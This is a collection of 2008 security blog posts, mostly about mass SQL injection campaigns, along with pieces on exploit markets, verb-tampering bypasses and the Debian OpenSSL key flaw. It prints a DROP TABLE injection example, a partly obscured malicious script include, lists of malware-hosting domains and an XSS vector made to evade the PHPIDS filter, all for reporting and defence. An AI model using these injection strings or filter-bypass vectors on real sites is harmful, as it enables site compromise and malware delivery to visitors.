In this instance, the bad guys were using Google to search for vulnerable web sites, then injecting Microsoft SQL specific statements to insert a remote JavaScript include to the end of every table. This has a good chance of getting that JavaScript inserted into any web pages that are pulling their content from a database (i.e. most of them). When a user visits an infected page, the JavaScript would then try and break into it by using a variety of attacks against outdated versions of iTunes, AIM, RealPlayer, Acrobat Reader, Shockwave Flash among others. Once successful, some form of malicious software is installed to the user’s computer, most commonly a password stealer. Once an injection has occurred, the attacker can vary what it does to users. So, if your anti-virus program updates to detect the evilware, the bad guy can just change it and is more likely to be able to rapidly modify his app than the anti-virus guys are able to discover, analyse and block it. Although, we did not see too much of the latter stuff.

To summarise the attack:
Search Google -> SQL Injection on Web Site -> User Visits Website -> User’s Computer is Infected -> Bad Guys Steal User’s Passwords -> Bad Guys Steal User’s Money

In the security world this attack falls squarely into the category of ‘lame’. What I mean is, they did nothing complex for which there aren’t good, easy to implement solutions. Searching Google for potentially vulnerable sites is in this case not even targeting the low hanging fruit, closer to the old rotten fruit slowly dying around the base of the tree. Using SQL which only works against MS SQL, when SQL as a language is generic enough to craft something that works against Oracle, PostGres, Sybase and MySQL. Using the injection point to squirt in some JavaScript and ‘wasting’ the full power of SQL injection. Exploiting vulnerabilities in applications for which updates have already been released to fix them and a decent anti-virus program should pick up. Stealing something as simple as a password instead of doing something incredible like injecting an advanced rootkit that makes your Second Life character look like Michael Jackson. Finally, using single domains with no fast-flux survivability like those infuriating bot-herder, is all just boring. Then again, criminals do not need to be innovative when it is this easy.

The Outcome

These attacks have been wildly successful. Without using any of the advanced techniques we have seen botnet developers put together over the last year, or any decent ‘worm-like’ activity, they managed to hit 3.5 million web pages. In addition, they are not done yet. It seems tools are being distributed to do this stuff for you, and they only cost a few Yuan. It is more likely that we’ve seen so many successful attacks because the costs of running them are so low, and there are a few hundred people doing it. Whenever we see attacks that are successful and easy to do, they tend to continue for the next couple of months or years until they stop being successful. In short, expect more of these, and expect them to get more advanced.

The Response

The response has not been very varied from the South African online practitioners. Most of the time, when I contacted the developers, they knew about the problem and were working on it. This consisted of removing that instance of the infected web page, which was shortly re-infected. Worse still, often only the ‘known’ infected web pages were cleaned, so an organisation may have had 10 pages infected, but only cleaned 7 because they had not see the others.

However, the ‘real’ impact of something like this is not at a technical level, this has the potential to affect the business. There’s a real risk to the business’ reputation; most want to be known as safe, honest, well controlled companies; hosting viruses on behalf of Chinese bad guys does not reconcile well with that. There is a legal and compliance risk, whether it is industry mandated compliance such as Sarbanes Oxley and the Payment Card Industry’s Data Security Standard or legislative requirements such as the up-coming Protection of Personal Information Act, the risks of non-compliance in these cases, or worse, legal action arising from it, can be quite dire. Finally, there is a financial risk, especially from web sites that rely on their online presence. Some of the affected media organisations, where having Google mention that ‘this site may harm your computer’, could have their ad revenue seriously dented along with their readership. However, right now, this just sounds like fear mongering, as we have not seen any of this happen. Maybe it still will, but it doesn’t seem that many of the affected company’s IT management have got wind of this, or we wouldn’t have seen the fix-the-symptom patch-ups we have, and I am fairly certain there are no CFOs losing sleep over this.

The hand waving

The conclusion I draw from all of this is that, at least in the large corporate space, no one important in South Africa really cares about the Web. The companies are not too worried that this will amount to any sort of real risk to them, and users are mostly too clueless about security to realise, let alone protest, the fact that their favourite radio station’s website is trying to steal their passwords. Worse still, the new importance-making-push into Web 2.0 is going to exacerbate this security problem, as a new wave of more complex and poorly secured tech washes over the IT industry. In the meantime, watch this space and if you are lucky enough to have not been infected because you were not using Microsoft’s SQL server (make no mistake, it was luck), start getting your devs trained up in writing secure code.

Appendix

SQL injection involves taking advantage of the way in which SQL statements are executed on the database by the web application. If, for example, you have an input field asking me for my name, and slap my input into a piece of SQL such as:
```
INSERT INTO names VALUES ('Dominic'); 
```
Then, if I enter my name as: Dominic’); DROP TABLE names;– , the resulting SQL statements becomes:
```
INSERT INTO names VALUES ('Dominic'); DROP TABLE names; --'); 
```
The name will be inserted, but the database will also delete the entire table. This is a fairly tame example, and in reality, a SQL injection usually means that an attacker can take near full control of the database and the machine hosting it.

The ‘right’ way to defend against it is to use parameterised and pre-compiled SQL statements so that anything you input cannot ‘break out’ and run awry. It always pays to be safe, and so making sure the application account has minimum database privileges, the database has been securely configured and you have firewalled properly goes a long way to either stopping an attacker in their tracks or making it easier to spot them. Please note that ‘input validation’ is not the right way to stop this, and those expensive Intrusion Prevention Systems and Web Application Firewalls will not be able to either.

This was originally posted for TechLeader at the following URL.

Rational Survivability

Security Will Not End Up In the Network...

Posted: June 3rd, 2008, 3:13pm CDT by beaker

Tags: Application Security [edit]
It's not the destination, it's the journey, stupid.

You can't go a day without reading from the peanut gallery that it is "...inevitable that network security will eventually be subsumed into the network fabric." I'm not picking on Rothman specifically, but he's been banging this drum loudly of late.

For such a far-reaching, profound and prophetic statement, claims like these are strangely myopic and inaccurate..and then they're exactly right.

Confused?

Firstly, it's sort of silly and obvious to trumpet that "network security" will end up in the "network." Duh. What's really meant is that "information security" will end up in the network, but that's sort of goofy, too. You'll even hear that "host-based security" will end up in the network...so let's just say that what's being angled at here is that security will end up in the network.

These statements are often framed within a temporal bracket that simply ignores the bigger picture and reads like a eulogy. The reality is that historically we have come to accept that security and technology are cyclic and yet we continue to witness these terminal predictions defining an end state for security that has never arrived and never will.

Let me make plain my point: there is no final resting place for where and how security will "end up."

I'm visual, so let's reference a very basic representation of my point. This graph represents the cyclic transition over time of where and how we invest in security.

We ultimately transition between host-based security, information-centric security and network security over time.

We do this little shuffle based upon the effectiveness and maturity of technology, economics, cultural, societal and regulatory issues and the effects of disruptive innovation. In reality, this isn't a smooth sine wave at all, it's actually more a classic dampened oscillation ala the punctuated equilibrium theory I've spoken about before, but it's easier to visualize this way.

Our investment strategy and where security is seen as being "positioned" reverses direction over time and continues ad infinitum. This has proven itself time and time again yet we continue to be wowed by the prophetic utterances of people who on the one hand talk about these never-ending cycles and yet on the other pretend they don't exist by claiming the "death" of one approach over another.

Why?

To answer that let's take a look at how the cyclic pendulum effect of our focus on security trends from the host to the information to the network and back again by analyzing the graph above.
1. If we take a look at the arbitrary "starting" point indicated by the "You Are Here" dot on the sine wave above, I suggest that over the last 2-3 years or so we've actually headed away from the network as the source of all things security.
  
  There are lots of reasons for this; economic, ideological, technological, regulatory and cultural. If you want to learn more about this, check out my posts on how disruptive Innovation fuels strategic transience.
  
  In short, the network has not been able to (and never will) deliver the efficacy, capabilities or cost-effectiveness desired to secure us from evil, so instead we look at actually securing the information itself. The security industry messaging of late is certainly bearing testimony to that fact. Check out this year's RSA conference...
2. As we focus then on information centricity, we see the resurgence of ERM, governance and compliance come into focus. As policies proliferate, we realize that this is really hard and we don't have effective and ubiquitous data classification, policy affinity and heterogeneous enforcement capabilities. We shake our heads at the ineffectiveness of the technology we have and hear the cries of pundits everywhere that we need to focus on the things that really matter...
  
  In order to ensure that we effectively classify data at the point of creation, we recognize that we can't do this automagically and we don't have standardized schemas or metadata across structured and unstructured data, so we'll look at each other, scratch our heads and conclude that the applications and operating systems need modification to force fit policy, classification and enforcement.
  
  Rot roh.
3. Now that we have the concept of policies and classification, we need the teeth to ensure it, so we start to overlay emerging technology solutions on the host in applications and via the OS's that are unfortunately non-transparent and affect the users and their ability to get their work done. This becomes labeled as a speed bump and we grapple with how to make this less impacting on the business since security has now slowed things down and we still have breaches because users have found creative ways of bypassing technology constraints in the name of agility and efficiency...
4. At this point, the network catches up in its ability to process closer to "line speed," and some of the data classification functionality from the host commoditizes into the "network" -- which by then is as much in the form of appliances as it is routers and switches -- and always will be. So as we round this upturn focusing again on being "information centric," with the help of technology, we seek to use our network investment to offset impact on our users.
5. Ultimately, we get the latest round of "next generation" network solutions which promise to deliver us from our woes, but as we "pass go and collect $200" we realize we're really at the same point we were at point #1.
'Round and 'round we go.

So, there's no end state. It's a continuum. The budget and operational elements of who "owns" security and where it's implemented simply follow the same curve. Throw in disruptive innovation such as virtualization, and the entire concept of the "host" and the "network" morphs and we simply realize that it's a shift in period on the same graph.

So all this pontification that it is "...inevitable that network security will eventually be subsumed into the network fabric" is only as accurate as what phase of the graph you reckon you're on. Depending upon how many periods you've experienced, it's easy to see how some who have not seen these changes come and go could be fooled into not being able to see the forest for the trees.

Here's the reality we actually already know and should not come to you as a surprise if you've been reading my blog: we will always need a blended investment in technology, people and process in order to manage our risk effectively. From a technology perspective, some of this will take the form of controls embedded in the information itself, some will come from the OS and applications and some will come from the network.

Anyone who tells you differently has something to sell you or simply needs a towel for the back of his or her ears...

/Hoff

Dominic White's .tHE pRODUCT

SABC Blacklisted by Google

Posted: June 2nd, 2008, 4:48pm CDT

Tags: Security [edit]
I've been ranting about the SQL injections for a while now. While infecting your visitors with malicious software semi-silently generally doesn't put the pressure on the right people (i.e. the externality lies on the infected user not the infecting business), having your organisation blacklisted by Google shifts that externality. Here are the screenshots of Google warning me that the South African Broadcasting Company (SABC) may harm my computer. Check it yourself by googling 'sabc'. At the time of writing, the SABC had fixed the page.

Strangly enough, of the almost 100 other infected SA domains, the only other two South African domains blacklisted were:
- gowerpower.co.za
- 4hair.co.za and fourhair.co.za
- saart.net
While we're at it, I've found the following *new* domains injected into SA sites:
1. nihaoel3.com - 21 700 (International), 2 (Local)
2. qiqigm.com - 80 500, 3
3. woai117.cn - 5, 1
Finally, as a last, unrelated, poke in the eye, it seems the 'International Housing Research Network' a .gov.za site has had it's forums defaced (they've been contacted):
Chip & Spin

Posted: June 2nd, 2008, 2:32pm CDT

Tags: Security [edit]

After my previous entry on EMV cards, Grant pointed me to this wonderful site, complete with wonderful PDF, neatly breaking down all the many reasons why EMV cards are broken. Well worth a read, especially if you are a Ross Anderson fan-boy.

ha.ckers.org web application security lab

Flying Woes

Posted: June 2nd, 2008, 9:01am CDT by RSnake

Tags: Random Security [edit]

I’m with Bruce Schneier. I never really spent enough time on airplanes to be particularly annoyed by the entire process until last year. I actually wrote the majority of this on a flight to Las Vegas for the SANS conference today as a matter of fact. While cumbersome and obnoxious in many ways, I’ve managed to isolate myself from the majority of those annoyances with things like off line email (won’t off line enabled JS apps rock your world - you’ll be able to hack as you fly!), mp3s and noise canceling headphones. Further, packing light (see onebag.com) makes my life just a lot easier.

But, and here comes the big but, why in this day and age are we still turning off portable electronic devices as we take off and land? The stewardess was making a joke that that includes wristwatches, pace makers and hearing aids. I’ve inadvertantly left my cell phone on during a flight last year, we must have narrowly escaped our death on that one. Somehow the terrorists haven’t figured out this critical weakness in our security yet though, thankfully. Anyway sarcasm aside, I’m with Bruce.

Some of these rules and security precautions are just complete nonsense. A knife that’s 3 1/2 inches is fine, but four inches and you’re a terrorist! Thankfully, I don’t really look like a trouble maker, if you could even articulate what a trouble maker did look like. So in all but one occasion I have managed to escape the involuntary TSA rub-down. All they’re missing is the oil and the sleazy seventies music!

Anyway, I’m speaking at SANS in Vegas then flying to Orlando for GFIRST/US-CERT and then to Denver for OWASP. I’ll get plenty of chances to be annoyed by the safety threat that I present by using noise canceling headphones between now and then I’m sure.

I’m not exactly sure why, but this reminds me of when I was doing a speech for the OWASP chapter in Minnesota. It was on a University campus. Being nice enough to host the event they also gave us an AV person. The AV person decided that I was an idiot upon only looking at me and made it clear that I shouldn’t touch her computers, yet she didn’t have anything installed despite the fact that she said she had MS office, the projector was having problems and it was clear she was pretty clueless. Yet she was still obviously annoyed at my gentle questioning. My friend was ready to rip her head off and was surprised I didn’t tell her who I was and where to shove her attitude. Sometimes it’s better to let people think they know what they are doing until they prove it to themselves that they don’t. She eventually gave up and let me do it myself (my own laptop and a non faulty cable later and we were up and running). I’m still waiting on the airline industry to come to the same conclusion as our beloved AV maiden.

tssci security

VBAAC Security and You

Posted: May 28th, 2008, 9:41am CDT by Marcin

Tags: Security [edit]

My good friend Arshan Dabirsiaghi at Aspect Security released an interesting paper today on Bypassing VBAAC with HTTP Verb Tampering. For those who don’t know what VBAAC is, it stands for “Verb-Based Authentication Access Control.” Unfortunately, most vendors have screwed up the implementation by taking a default allow approach, and as a result developers are likely to have [unintentionally] exposed their applications.

How’s the attack work? Well, in applications that utilize VBAAC, a developer, as an example, can specificy security constraints that allows only GETs and POSTs to the /admin/* directory for the “admin” user. The constraint would like so in web.xml file in a Java EE web application:

<security-constraint> <web-resource-collection> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint>

The interesting part about this, is that this constraint limits POST and GET access to /admin/* for the admin user. Anyone can submit a HTTP HEAD request for the resource or an arbitrary HTTP verb, if allowed (the paper uses JEFF method as an example), and the resource can be accessed.

The end result of this is that resources are less restricted than expected. The caveat being that responses will not always be seen by an attacker, though damage can still be done. Take a moment to read the paper now — it’s concise, gets straight to the point, and gives solutions. This likely affects application(s) you are responsible for, so take the time to understand the risk and take action.

Dominic White's .tHE pRODUCT

SQL injection domains and SA stats

Posted: May 27th, 2008, 5:30am CDT

Tags: Security [edit]

I took the latest list from ShadowServer (as at 23 May 2008), and did a comparison of SA infected pages to globally infected pages. I used a lame google search for these, but it shows some interesting results. You can see where the focus on the 'well known' domains paid off, and the new injections haven't been cleaned up yet. There is a serious case of missing root cause analyses here. Still some large SA sites infected, but mainly Gov, Property and Storm telecoms sites now.

Host	Global	South Africa
9i5t.cn	418 000	37
bbs.jueduizuan.com	20 000	10
www.qiqigm.com	193 000	8
www.wowgm1.cn	65 700	8
www.nihaorr1.com	158 000	7
www.adw95.com	23 900	5
www.dota11.cn	217 000	4
www.killwow1.cn	68 000	3
usuc.us	66 200	3
www.kisswow.com.cn	60 600	3
www.chliyi.com	33 800	3
computershello.cn	30 600	3
www.2117966.net	18 600	3
xprmn4u.info	356 000	2
www.nihaoel3.com	47 600	2
www.wowgm2.cn	34 300	2
killpp.cn	18 500	2
www.banner82.com	513 000	1
www.ririwow.cn	58 500	1
www.wow112.cn	36 000	1
www.qiqi111.cn	19 500	1
s.see9.us	216 000	0
www.direct84.com	121 000	0
www.adword71.com	112 000	0
free.hostpinoy	102 000	0
www.bluell.cn	68 000	0
www.nmidahena.com	53 900	0
www.qiuxuegm.com	42 700	0
www.nihao112.com	42 500	0
www.wowyeye.cn	42 400	0
winzipices.cn	33 500	0
sb.5252.ws	20 100	0
a188.ws	19 900	0
www.117275.cn	19 500	0
www.aspder.com	18 600	0
www.11910.net	13 100	0
www.414151.com	12 900	0
urkb.net	11 400	0
firestnamestea.cn	7 640	0
1.hao929.cn	3 870	0
c.uc8010.com	964	0
a.ka47.us	769	0
rnmb.net	552	0
ucmal.com	530	0
c11.8866.org	517	0
b15.3322.org	436	0
www.caocaowow.cn	94	0
xvgaoke.cn	90	0
free.edivid.info	63	0
heartgames.cn	57	0
al.99.vc	49	0
h28.8800.org	49	0
www.msshamof.com	35	0
3.trojan8.com	22	0
n.uc8010.com	10	0
d39.6600.org	9	0
t.uc8010.com	8	0
www.aidushu.net	7	0
001yl.com	7	0
yl18.net	6	0
www.z008.net	6	0
cc.18dd.net	5	0
www.fucksb.net	5	0
m11.3322.org	5	0
bc0.cn	5	0
newasp.com.cn	3	0
vb008.cn	2	0
smeisp.cn	1	0
a.13175.com	1	0
52-o.cn	1	0
w11.6600.org	1	0
okey123.cn	0	0
b.kaobt.cn	0	0
www60.actualization.cn	0	0
17ge.cn	0	0
www.adword72.com	0	0
mm.jsjwh.com.cn	0	0
Totals	3 422 119	109

ha.ckers.org web application security lab

Lifelock CEO Gets Identity Stolen

Posted: May 23rd, 2008, 5:54pm CDT by RSnake

Tags: Random Security [edit]

I got sent this link today and I actually laughed out loud when I saw it - Todd Davis (CEO of LifeLock) had his identity stolen. I completely understand and can feel for the poor CEO who probably genuinely thought that his company could protect from all forms of identity theft, but the harsh reality is it didn’t. My favorite quote from the article:

“There’s nothing to indicate my identity has been successfully compromised other than the one instance.”

Other than the one instance, that is, but it was just that once. Annnyway, the biggest problem I have is with the $1,000,000 protection they have, which, unfortunately has absolutely nothing to do with the kind of thing that Davis faced. It has to do with technology breakdowns in the system - a far less likely occurrence.

Our service guarantee is simple, but it is limited. We will pay up to $1,000,000 to cure the failure or defect in our service…

Not only that but on their site it’s highly deceptive:

What LifeLock doesnt stop, they fix at their expense up to $1,000,000.

Nooo… what Lifelock doesn’t stop you are on your own for. It’s too bad, because I really wish this company were squeaky clean. There are so many people who actually could benefit from it. Maybe if Davis just hadn’t plastered his information all over the place…

Dominic White's .tHE pRODUCT

SQL injections continue

Posted: May 20th, 2008, 12:43pm CDT

Tags: Security [edit]
I now count approximately 1.5million infected sites based on the updated list of domains at ShadowServer. SA infected pages are now up to 1 340, although this varies wildly based on the Google DC queried. Some large SA sites are still being re-infected.
There's also a new consequence. Instead of just silently infecting your users with malware, which is hard to spot. Google is now blocking access to some of the sites, along with Firefox if you have the safe browsing lists enabled. If reputation doesn't drive action, falling ad revenues should.

Out of interest, Shadow Server lists the following domain and approximate number of infected pages as of the 14th of May 2008:
- www.nihaorr1.com - 468,000
- free.hostpinoy.info - 444,000
- xprmn4u.info - 369,000
- www.nmidahena.com - 140,000
- winzipices.cn - 75,000
- sb.5252.ws - 69,000
- www.aspder.com - 62,000
- www.11910.net - 47,000
- bbs.jueduizuan.com - 44,000
- www.bluell.cn - 44,000
- www.2117966.net - 39,000
- s.see9.us - 39,000
- xvgaoke.cn - 33,000
- www.414151.com - 17,000
- yl18.net - 15,000
- www.kisswow.com.cn - 13,000
- c.uc8010.com - 9500
- www.ririwow.cn - 6000
- www.killwow1.cn - 4000
- www.qiqigm.com - 3600
- www.wowgm1.cn - 3500
- www.wowyeye.cn - 2800
- 9i5t.cn - 2500
- computershello.cn - 2300
- www.z008.net - 1600
- b15.3322.org - 1200
- www.direct84.com - 1100
- www.caocaowow.cn - 900
- firestnamestea.cn - 700
- %61%31%38%38%2E%77%73 (a188.ws) - 500
- www.qiqi111.cn - 230
- www.banner82.com - 90
- smeisp.cn - 85
- okey123.cn - 55
- www.nihao112.com - 45
- free.edivid.info - 40
- h28.8800.org - 34
- ucmal.com - 30
- t.uc8010.com - 30
- www.dota11.cn - 25
- bc0.cn - 20
- www.adword71.com - 17
- w11.6600.org - 13
- usuc.us - 13
- newasp.com.cn - 7
- www.wowgm2.cn - 8
- 17ge.cn - 4
- www.adword72.com - 2
- www.117275.cn - 1
- vb008.cn - ?
- www.wow112.cn - ?
- www.nihaoel3.com - ?

The Spanner

Firefox applet fun

Posted: May 20th, 2008, 4:02am CDT by Gareth Heyes

Tags: Security [edit]
I’ve been hacking the PHPIDS recently and I wanted a pure XSS vector not just script execution, I decided to experiment with the applet tag because it sneaks past the malicious tag detection. I thought to myself I wonder if it accepts the type attribute like the object tag does….
```
<applet src="data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3N
jcmlwdD4" type=text/html>
```
That works it executes the base64 encoded string as HTML! It doesn’t stop there though
```
<applet src="http://www.businessinfo.co.uk" type=text/html>
```
The applet tag even acts like a iframe

Dominic White's .tHE pRODUCT

Robert of WabiSabiLabi Responds

Posted: May 17th, 2008, 5:54am CDT

Tags: Security [edit]

Check out the comments on the last entry. Roberto spent some time responding, and re-responding. Makes for some interesting reading.

Michael Howard's Web Log

Giving SQL Injection the Respect it Deserves

Posted: May 16th, 2008, 3:49pm CDT by michael_HOWARD

Tags: Security [edit]

I just posted an article on the SDL blog about the recent news of SQL injection vulnerabilities...

Dominic White's .tHE pRODUCT

Why I think Exploit Markets are bad - a response to Roberto Preatoni of WabiSabiLabi

Posted: May 15th, 2008, 1:39am CDT

Tags: Security [edit]

Last week, Roberto Preatoni, founder of WabiSabiLabi, the exploit eBay, gave a talk at the ITWeb Security Conference about his creation. I really wanted to ask a question, but there was no time. At the end of his talk, when asked who agrees that WabiSabiLabi is a good idea (i.e. creating a market place for vulnerabilities and exploits to be freely sold and traded, like eBay) like Roberto, I was surprised to see so many hands go up as the general info sec community has reacted quite harshly to the idea. A possible explanation based on my experience is that many ITWeb attendees are not 'hardcore' security people, and haven't been following the disclosure argument over the last decade. Then, given only Roberto's talk, chose to agree with him due to a lack of any exposure to rebuttal. When asked who disagrees, I was the only one who put their hand up.

So, here's why.

First up, let me say, I don't know Roberto personally, and have no personal vendetta. I also do not work for a security vendor, so am not coloured by a shoot the messenger mentality. Finally, I agree that to do what Roberto and his team did took serious courage and they have weathered some big (and unfair) fights, which probably would've had me packing for the hills. However, from the comfort of my blogging seat, I don't think an exploit market is a "good thing". My rebuttal *is* coloured by the ethics debate. It could be a hangover from the last decade of the debate being coloured by this, but, as a 'white-hat' I am specifically defining myself as a security person with ethics. If you don't care about anything but getting the most money to vulnerability researchers, then you won't buy my argument.

Roberto's main premise seems to be that vulnerability researchers (I don't like the term 'security researcher' for this purpose, it is too vague and generalised), are forced to hand over the results of their time and effort for free, to a vendor who often does not respect them for their work, all in the name of ethics. By providing a market-place, a place where sellers and buyers can gather, vulnerability researchers can have their work monetized. The implication being, that vulnerability research can be a job, and the security world benefits by getting holes closed.
The All Knowing Market
I've never been a fan of 'free markets'. The main reason is that the invisible hand isn't always an ethical one. Take for example the world's terrible food distribution, where food is literally thrown away while others starve all because of how the market has structured the whole scheme to get the buyers with the most money to the sellers. Roberto explicitly mentioned the pharmaceutical industry as a comparison, which is a great example of where the market hasn't provided for the needs of people. We've had people researching esoteric illnesses instead of the African killer, tuberculosis, because of where the money is coming from. We've had over priced AIDS drugs, forcing India, Brazil and SA to threaten calling a state of emergency to allow us to produce cheap generics in terms of the TRIPS agreement. The end result is that the best course of action, namely curing the most number of most sick people, hasn't happened, but is considered better than no market where doctors do it for free. There are 'better' solutions however, such as the medical innovation prize fund, a model which could well work here, but more on that later. Let's make it more specific though, here's why I think a free market in this instance is bad too.
Implications
Ok, so given that by creating a market, things may not be driven by ethical lines, let's examine what sort of behaviours we could see.
Vendors held ransom
Now that the bugs are being peddled on an open market, vendors must compete with a variety of buyers, from security firms to bad guys. They will always have to assume that their buying the bug is better than someone else buying it, and in the case of big bugs (Vista 0day for example) will have to pay a fair amount of money. This has two problems. The first is that vendors have to start spending money that could otherwise be used to find, fix, or better, prevent, their own bugs. The second is that you have a skewed market where it is always in the best interest of the vendor to acquire the bug, and they are pitted against the whole market, not exactly willing buyer.
Criminal Syndicates
Given that the vendor now has to outbid the entire market, it is likely that prices will be driven fairly high. Now, we can safely assume bad guys may want to buy bugs. However, the individual bad guy wont have the funds. Thus, bad guys will need to club together and pool their money to outbid the vendor (or other security firms), and now you have a syndicate. I'm not saying that this is the only way syndicates can form, just that it encourages new ones to form, and makes existing syndicates likely competition. WabiSabiLabi does implement a vetting system, but a quick look at existing handgun registration systems will show that this isn't an effective way to stop bad guys from buying legitemate (as opposed to the black market guns we know they get), or at the very least, from using them to kill someone, it is just a semi-ineffective post-event auditing technique.
Black Market
On the syndicate point, people often suggest free or free-er markets in reaction to the existence of a black market. This could provide some interesting stats; we could get an idea of what bugs are being traded, how many, their price etc. A potentially very valuable tool for threat research. However, Roberto himself concedes that this will not get rid of the black market. First, because many syndicates are actually hiring vulnerability researchers of their own (some straight out of varsity) and second, because the existing black market provides more anonymity, or at least more trusted anonymity. In essence, they have their own vulnerabilities, and can make more money exploiting things with them, than selling them.
Weaponisation
Another implication of this market is that it will encourage people to weaponise vulnerabilities into exploits. Right now, (for example) a demonstration of a repeatable crash is usually enough to show the vulnerability exists, and things are weaponised usually to prove a point. However, in a true exploit market place, several types of guns (exploits) can be sold to exploit the same vulnerability in the human head. Thus, when a Microsoft patch is released, it may be worth my while to reverse engineer it and create a working exploit to sell to the highest bidder. This could be stopped by only allowing original vulnerabilities to be sold, but seems like an arbitrary restriction on the otherwise free market.
Arbitrary Restrictions
Speaking of arbitrary restrictions. Roberto brought up a few in his talk. He mentioned that they refused to sell exploits in online poker sites, or an XSS in MySpace etc. The general trend was that they didn't allow web app vulnerabilities to be sold. This is a pretty arbitrary restriction, as I don't see much difference between allowing an authentication bypass for windows to be sold vs allowing an authentication bypass for MySpace to be sold. If you look at other 'market regulators' such as the SEC or our own JSE, they usually implement controls to ensure the market functions correctly (e.g. prevent people from misrepresenting market related information e.g. financial statements or abusing market mechanisms e.g. insider trading). They do not stop certain stocks from being traded based on the supposed actions of the investors or the company. Now, if WabiSabiLabi has already started down this road of arbitrary restrictions, most likely due to some ethical drive, then they must acknowledge that they want an ethical outcome. Given that a free market doesn't lead to an ethical outcome, a free marketplace may not be the best way of doing this. In short, they either have to remove the restrictions and put up with the potential badness, or keep them and be labeled hypocrites or at least inconsistent (logical doomsday words ;) ) or shut down the market.
A better way
In his talk, Roberto did a sort of reductio on responsible disclosure. However, the model of responsible disclosure he presented was the sort of model 3Com's Zero Day Initiative (ZDI) takes. I was fairly confused about this, as I don't see much difference between the ZDI model and that of WabiSabiLabi's in terms of disclosure, in fact Roberto acknowledged them as competitors.

Now, responsible disclosure isn't really a well pinned down term, but I don't believe it is an inherently flawed model in all possible cases. So let me present a model as I believe many understand it, which will work to the most ethical outcome, and cover Roberto's need to monetize the whole shebang. It will be brief, as there is already stacks of info out there about this.

If you find a bug, report it privately to the vendor. The vendor should get back to you within a reasonable time frame, produce a good fix within a reasonable timeframe and credit you in the patch release. If the vendor is antagonistic or takes too long to release a patch, then full disclosure applies where all details are released publicly to drive the vendor to action. This model worked very well with Microsoft, where full disclosure drove the otherwise antagonistic or ignorant vendor into making some serious changes and turning them into (dare I say it) the good security vendor we see today.

This model is not without money. The disclosure model gets you credit, this has long been a way of building up eminence in the market. Over the long term this credit gets your day job work. Take David Litchfield as an example (who incidentally spoke before Roberto). He flogged Oracle silly over their terrible security, and now is probably one of the highest paid Oracle security consultants in the world, and even has Oracle as one of his clients. This is a man who monetised his vulnerability research. Granted, he couldn't just sit in a chair making Gobbles-like vulnerability findings and hope to make money, but it certainly gave him the opportunity.
Vulnerability Research Prize Fund
To be honest, I haven't put much thought into how the medical innovation prize fund described here, here and here could be retrofitted to this model. Although, my gut feel is that it can given the similarities in the vulnerability research field to the pharmaceutical industry, i.e. we want to pay for and encourage the best research, but we want the knowledge to be shared as widely and appropriately as possible instead of creating monopolies (e.g. ZDI, Syndiactes). It would be great for some of use to put some thought into this and see what we can come up with as it would potentially provide an 'even better' way that any of the exisiting solutions.
Conclusion
So, at the end of it all I believe that the vulnerability market place won't lead to the best outcomes, already has some inconsistencies and may slippery slope into more, and that a better model already exists. Finally, I believe an even better model could exist structured along the lines of the medical innovation prize fund and that more attention should be paid to this as a solution.
Debian (and derivatives) OpenSSL-based keys vulnerability

Posted: May 14th, 2008, 1:26am CDT

Tags: Security [edit]

Debian released a patch to OpenSSL based on a Debian-specific bug resulting in random numbers being used for the secret parts of key generation not being so random (due to the random number generater not being seeded). Quoting from the mailing list announcement:

Affected keys include SSH keys, OpenVPN keys, DNSSEC keys, and key material for use in X.509 certificates and session keys used in SSL/TLS connections [generated after 2006-09-17]. Keys generated with GnuPG or GNUTLS are not affected, though.

Ubuntu has also released a security announcement stating they too are affected (which likely means other Debian based distros are too, like the Xandros on your Asus EEE PC). In their words:

We consider this an extremely serious vulnerability, and urge all users to act immediately to secure their systems.

In our instance we needed to regenerate several SSH host keys. For ease of use, here are instructions for doing so. Please not these instructions are superceeded by the instructions which will be posted here (but aren't yet).
You can just delete the kys in /etc/ssh and restart ssh. However, I was a bit nervous about visiting our hosting providers cage to fix things and took a more cautious approach.
# sudo
# cd /etc/ssh

Backup your keys
# mkdir backup
# cp ssh_host_*_key* backup/

Generate new ones
# ssh-keygen -b 2048 -t rsa -f ssh_host_rsa_key
# ssh-keygen -b 1024 -t dsa -f ssh_host_dsa_key #FIPS standard says DSA has to be 1024

Fix Permissions
# chown sshd:ssh ssh_host_*_key*
# chmod 400 ssh_host_*_key*
# chmod 444 ssh_host_*_key.pub

Restart SSHD, this isn't stricly necessary, but will use the updated libs, connections will be maintained
# /etc/init.d/ssh restart

I place the fingerprint for the public host key in /etc/issue.net (and uncomment the SSH host banner line in sshd_config). This makes a nice place for me to publically updated the key fingerprints and warn users that the keys have changed for good reason.

As a saftey measure, I also asked users to regenerate their SSH user keys. I still need to update a few self-signed certificates, but none of these are uses for anything serious, so I am not to worried. Debian has released the known weak key detector, although Ubuntu was nice enough to package ssh-vulnkey app with the update.
SQL injections going mad

Posted: May 12th, 2008, 3:32am CDT

Tags: Security [edit]
So, the SQL injections of last month are still going and on the increase. At last check (11am SAST) Google's index had 1 070 000 infected pages. Not all of these are from the same source, or load the same malware. However, they have the same basic principle:

generic SQL injection -> Javascript -> infect visitors

Several of the sites in South Africa I've been watching have been re-infected. I spoke to several of the admins, but it seems they are just restoring from backup and not fixing the root cause. The domains currently being injected and containing the malicious Javascript are:
- nihaorr1.com
- 2117966.net
- aspder.com
- haoliuliang.net
- nmidahena.com
- free.hostpinoy.info
- xprmn4u.info
- winzipices.cn
- wowgm1.cn
- killwow1.cn
- wowyeye.cn
Although, new ones are coming to my attention fairly quickly at the moment. For example, wowgm1.cn was re-injected over winzipices.cn on a few pages. The 'wow' range seem to be related, as they are re-infecting pages with a new URL. On the point of re-injections, it seems some are overwriting each other in funny ways, for example, the following was found on one page (*'s added):
```
<script src=http://www.2<script src=h**p://www.2117966.net/f*ckjp.js></script>
```
It bother's me that the security industry (particularly in SA) doesn't seem to have cottoned on to this as a widespread pervasive attack. Shadowserver (one, two) seems to be the only ones getting close to the problem, but even SANS is treating these as seperate events. There is only basic protection at the moment, if you click through from some of these sites (10%?) in Google, you will get a Malware warning. Continuing to the site anyway prevents me due to Firefox's security setting (which shares the same list from Google, i.e. stopbadware.org).

